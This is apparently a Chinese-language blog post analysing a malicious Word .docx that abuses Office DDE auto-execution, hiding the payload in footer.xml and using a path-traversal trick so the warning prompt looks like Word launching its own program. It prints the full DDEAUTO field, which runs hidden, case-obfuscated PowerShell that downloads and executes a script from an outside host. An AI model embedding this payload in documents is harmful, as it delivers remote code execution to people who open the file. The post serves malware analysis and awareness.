使用Office进行DDE攻击

最新推荐文章于 2024-09-02 09:48:07 发布

原创最新推荐文章于 2024-09-02 09:48:07 发布 · 2.1k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#DDE攻击

宏病毒专栏收录该内容

5 篇文章

订阅专栏

本文揭示了通过伪装成正常Word文档的恶意Docx文件进行的攻击手法。攻击者利用DDE自动执行特性，将恶意代码藏匿于文档的footer.xml文件中，一旦文档被打开，便会触发执行，下载并运行远程恶意脚本。此过程甚至绕过了普通用户的警惕，因为看似正常的Word程序启动行为，实则暗藏杀机。

当你打开恶意docx文件时，会有提示信息，不过通过解析路径的手段，把可疑部分隐藏了。

这个提示信息，看起来是启动我Word安装目录下的一个程序，普通人觉得，Word启动它自己目录下的程序，应该很正常呀！于是就点了是

在这里插入图片描述
此时用procexp查看进程列表，恶意的代码已经执行了~

在这里插入图片描述

如果用7z来打开这个docx文件，可以看到里面的footer.xml文件中包含的恶意部分

在这里插入图片描述

DDEAUTO  "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c 
pOWeRShELl.exe  -NoP -W Hidden IEX(nEw-oBjECt sYstEM.nEt.wEBcLIeNt).dOWnLoADsTRiNg('http://stinky.esy.es/ip.php'); 
#"  "Financial Security Institue RFRE System"

powershell.exe会从'http://stinky.esy.es/ip.php下载新的ps代码执行

在这里插入图片描述